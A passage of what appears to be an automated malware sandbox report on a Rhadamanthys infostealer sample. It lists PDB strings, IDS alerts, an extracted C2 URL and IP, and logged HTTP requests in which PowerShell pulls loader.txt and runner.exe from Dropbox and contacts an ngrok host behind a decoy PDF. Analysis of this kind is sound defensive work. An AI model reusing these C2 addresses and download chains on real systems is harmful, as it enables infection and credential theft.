Source:	Binary string: wkernel32.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857292037.0000000003050000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857401693.0000000004F70000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863154029.0000000005210000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863521668.0000000005330000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856559804.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856354642.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1860348370.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856878522.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857059314.0000000005090000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1861225349.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856559804.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856354642.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1860348370.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1856878522.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857059314.0000000005090000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1861225349.0000000005210000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: softy.pdbvice source: powershell.exe, 00000016.00000002.1779458649.00000244A8E0F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdbpdblib.pdb< source: powershell.exe, 00000016.00000002.1785789300.0000024CAA383000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb%b{f source: powershell.exe, 00000016.00000002.1785132687.0000024CAA30B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857292037.0000000003050000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857401693.0000000004F70000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863154029.0000000005210000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1863521668.0000000005330000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000016.00000002.1785369058.0000024CAA32B000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\fontdrvhost.exe

Code function: 4x nop then dec esp

36_2_000001B0277D0511

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 104.161.43.18:2845 -> 192.168.2.7:49943

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop

Source: global traffic

TCP traffic: 192.168.2.7:49943 -> 104.161.43.18:2845

Source: Joe Sandbox View	IP Address: 162.125.69.18 162.125.69.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49730 -> 162.125.69.18:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.7:49828 -> 162.125.69.18:443

Source: global traffic	HTTP traffic detected: GET /api/secure/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizzaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/99z3idm9bfqz5ub9eti3w/secure.txt?rlkey=lf4wvvzm9z003npv2dbdqosx1&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgjWc5xou5HIFAE48gufSBlhHgo8LKDYylDYPmEnGULbt8e5KSCEgEKkQkNZJ03tF6XD-27FO7FTio5PCZSZdeXpsHCKW6fDUXhZoFUWxCtJc_7VshZiSUgJN_WQKQOBJ6F8P-AFRi1z9658m7VZzIiN/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/l080falpmqnxrd0e4zb2u/loader.txt?rlkey=d7n6vctas1qob3kqdiqef7ydc&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CggyE9x9tsooR8bgLLYezdmbtOFNiAhkcWHgTodDG_kvlOz8ZlHICIdjusZj2Lij6qiGT5o_NM2KpCcExTyd9gswV0BojrCyZrr5FQLTD4cJbLGX9gQMBEAEgyEVD4xhEyrOXL1RVovqELTK5EagwvHh/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf&request_id=d23cbb1880f84f85afefc10443038bea&time=1734612274 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.dropbox.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
Source: global traffic	HTTP traffic detected: GET /cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveContent-Length: 504sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /2/client_metrics/record HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 381sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
Source: global traffic	HTTP traffic detected: POST /csp_log?policy_name=metaserver-whitelist HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 3206sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/csp-reportAccept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: reportReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
Source: global traffic	HTTP traffic detected: POST /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 2941sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
Source: global traffic	HTTP traffic detected: GET /metadata/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizzaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveContent-Length: 509sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveContent-Length: 504sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /web-grpc/edison/web_platform.WebPlatformEdisonFetch/EdisonTopMenuFetch HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 229sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-csrf-token: HdS8vQAOgoo2pdq3Kdn8X0eJaccept-language: en_GBx-edison-prompt-controller: shared_content_linkx-edison-atlasservlet: file_viewerx-grpc-web: 1x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"x-dropbox-browser-id: e9658a9f57f3c5724f210eb89ada3fa6x-user-agent: @bufbuild/connect-webx-dropbox-authority: www.dropbox.comx-edison-page-name: scl_oboe_filesec-ch-ua-mobile: ?0x-edison-prompt-action: shared_content_link_view_file_and_folderUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: application/grpc-web+protox-edison-original-url: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brCookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: POST /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 3360sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: POST /2/pap_event_logging/log_events HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1710sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: POST /log/telemetry HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 932sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47X-Dropbox-Client-Yaps-Attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-19T12:44:52.324Z","expireDate":"2025-06-19T11:44:52.324Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":false,"numDots":1}
Source: global traffic	HTTP traffic detected: GET /pageview?ex=&pvt=n&la=en-GB&uc=0&url=https%3A%2F%2Fwww.dropbox.com%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf%3Frlkey%3Dkduhqrnp00rj44rjeppuw31qk%26dl%3D1&dr=&dw=1280&dh=1024&ww=1280&wh=1024&sw=1280&sh=1024&uu=c480ecee-58fe-ab6f-a297-56b61f444401&sn=1&hd=1734612301&v=15.36.2&pid=5416&pn=1&r=352634 HTTP/1.1Host: c.contentsquare.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: POST /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveContent-Length: 1543sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJX-Dropbox-Uid: -1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Content-Type: application/jsonx-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prodsec-ch-ua-platform: "Windows"Accept: /Origin: https://www.dropbox.comSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB; __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; 